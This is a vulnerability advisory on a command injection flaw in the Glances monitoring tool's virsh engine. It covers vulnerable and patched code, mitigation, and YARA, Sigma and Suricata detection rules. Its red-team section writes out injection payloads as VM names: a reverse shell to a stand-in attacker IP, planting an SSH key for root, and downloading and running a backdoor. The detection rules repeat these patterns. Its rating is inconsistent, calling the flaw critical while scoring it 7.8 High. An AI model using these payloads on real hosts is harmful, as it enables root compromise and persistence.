CVE-2026-46606
Executive Summary
CVE-2026-46606 is a critical OS Command Injection vulnerability in the Glances open-source system monitoring tool, affecting versions prior to 4.5.5. The flaw resides in the KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py). The application passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). Because secure_popen() is explicitly designed to interpret &&, |, and > as shell operators, and domain names are never sanitized before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances—commonly root on hypervisor hosts. This represents a severe privilege escalation and remote code execution risk in virtualized environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Glances Python package, which is distributed via PyPI. Organizations using Glances for monitoring should verify their installed version and update to 4.5.5 or later. The package is commonly deployed on hypervisor hosts, making this a high-impact supply chain risk for infrastructure monitoring.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Local (L) - The attacker must have local access to create or rename a VM.
- Attack Complexity (AC): Low (L) - No special conditions required.
- Privileges Required (PR): Low (L) - Requires ability to manage VMs (e.g., libvirt group).
- User Interaction (UI): None (N) - No user action needed beyond VM creation.
- Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): High (H) - Full system compromise possible.
- Integrity (I): High (H) - Arbitrary command execution.
- Availability (A): High (H) - Potential for denial of service or system takeover.
CVSS Score: 7.8 (High)
Threat Level: Critical in hypervisor environments. The ability to execute arbitrary commands as root on the host system makes this a top-priority vulnerability for patching.
Deep Dive & Mechanics
The vulnerability is a classic OS Command Injection (CWE-78) in the Glances KVM/QEMU monitoring engine. The virsh.py plugin reads VM domain names from the output of virsh list --all. These domain names are then interpolated into an f-string that is passed to secure_popen(). The secure_popen() function is designed to allow shell operators (&&, |, >) for legitimate monitoring purposes, but this design choice becomes a vulnerability when untrusted input (VM names) is included.
Attack Flow:
- An attacker with the ability to create or rename a KVM/QEMU virtual machine (e.g., a user in the
libvirtgroup) creates a VM with a malicious domain name, such as:testvm; id > /tmp/pwned. - Glances, running as root, periodically executes
virsh list --alland reads the domain names. - The malicious domain name is interpolated into a command template like:
virsh domstats testvm; id > /tmp/pwned. secure_popen()processes this string, interpreting;as a command separator, and executes the injected command (id > /tmp/pwned) with root privileges.
Why secure_popen() is dangerous: The function is explicitly designed to allow shell operators for legitimate monitoring purposes (e.g., piping output). However, this design does not account for untrusted input being included in the command string. The lack of input sanitization on VM domain names is the root cause.
Vulnerable vs. Patched Code
Vulnerable Code (pre-4.5.5):
# glances/plugins/vms/engines/virsh.py (simplified)
def get_vm_stats(self):
# Read VM names from virsh output
vm_names = self.get_vm_names()
for name in vm_names:
# Direct interpolation into command template
cmd = f"virsh domstats {name}"
output = secure_popen(cmd)
# Process output...
Patched Code (4.5.5):
# glances/plugins/vms/engines/virsh.py (simplified)
import shlex
def get_vm_stats(self):
vm_names = self.get_vm_names()
for name in vm_names:
# Sanitize the domain name using shlex.quote()
safe_name = shlex.quote(name)
cmd = f"virsh domstats {safe_name}"
output = secure_popen(cmd)
# Process output...
The patch uses shlex.quote() to properly escape shell metacharacters in the VM domain name, preventing command injection. This ensures that even if a VM name contains shell operators, they are treated as literal characters.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a system running Glances < 4.5.5 with KVM/QEMU monitoring enabled.
- Ability to create or rename a KVM/QEMU virtual machine (e.g., membership in the
libvirtgroup).
Exploitation Steps:
Create a malicious VM:
virt-install --name "testvm; id > /tmp/pwned" --ram 512 --disk none --import --norebootWait for Glances to poll: Glances will read the VM name and execute the injected command.
Verify execution:
cat /tmp/pwned
Alternative: Rename an existing VM:
virsh domrename existing_vm "legitname; echo 'pwned' > /tmp/owned"
Advanced payloads:
- Reverse shell:
testvm; bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1' - Add SSH key:
testvm; echo 'ssh-rsa AAA...' >> /root/.ssh/authorized_keys - Install backdoor:
testvm; wget -O /tmp/backdoor http://attacker_ip/backdoor && chmod +x /tmp/backdoor && /tmp/backdoor
Blue Team
Detection:
- Monitor for unusual VM names containing shell metacharacters (
;,|,&,$,`). - Audit
virsh list --alloutput for suspicious domain names. - Check Glances logs for unexpected command execution errors.
Hunting:
- Search for processes spawned by Glances with unexpected arguments.
- Look for files created in
/tmpor other world-writable directories by the Glances process. - Monitor network connections from the Glances process to unexpected IPs.
Forensic Indicators:
- VM domain names containing shell metacharacters.
- Unexpected files in
/tmpowned by root. - Unusual entries in
/root/.ssh/authorized_keys. - Glances process tree showing child processes like
bash,wget,nc.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| File | /tmp/pwned |
Example output file from PoC |
| File | /tmp/owned |
Example output file from PoC |
| Process | bash -c 'bash -i >& /dev/tcp/*' |
Reverse shell from Glances |
| Process | wget -O /tmp/backdoor http://* |
Backdoor download |
| Network | Connection to attacker IP on port 4444 | Reverse shell |
| Log | Glances error logs containing shell metacharacters | Injection attempt |
| VM Name | VM names containing ;, ` |
, &, $, `` `` |
Detection Engineering
YARA Rule
rule CVE_2026_46606_Glances_Command_Injection {
meta:
description = "Detects malicious VM domain names used in CVE-2026-46606 exploitation"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-46606"
severity = "critical"
strings:
$s1 = /virsh\s+domstats\s+\S*[;&|`$]/
$s2 = /virsh\s+domstats\s+\S*\$\{/
$s3 = /virsh\s+domstats\s+\S*\(/
condition:
any of them
}
Sigma Rule
title: CVE-2026-46606 Glances Command Injection Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2026-46606 via malicious VM domain names
author: Valters IT
date: 2026-01-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-46606
logsource:
category: process_creation
product: linux
detection:
selection:
ParentImage|endswith: '/glances'
CommandLine|contains:
- ';'
- '|'
- '&'
- '`'
- '$('
condition: selection
falsepositives:
- Legitimate VM names with unusual characters (rare)
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-46606 Glances Command Injection - Reverse Shell"; flow:to_server,established; content:"bash -c 'bash -i >& /dev/tcp/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Glances: Update to version 4.5.5 or later immediately.
pip install --upgrade glances - Restrict VM Management: Limit the ability to create/rename VMs to trusted administrators only.
- Audit VM Names: Review all existing VM domain names for suspicious characters.
Long-term Mitigations:
- Input Validation: Implement strict input validation for VM domain names, rejecting names containing shell metacharacters.
- Least Privilege: Run Glances with the minimum necessary privileges (not as root).
- Network Segmentation: Isolate Glances monitoring traffic to trusted networks.
- Monitoring: Deploy the provided detection rules to identify exploitation attempts.
Workaround (if patching is not immediately possible):
- Disable the KVM/QEMU monitoring plugin in Glances configuration:
[vms] disable=True
Valters IT Signature
This report was generated by Valters IT DevSecOps AI Assistant. For questions or further analysis, contact your Valters IT representative.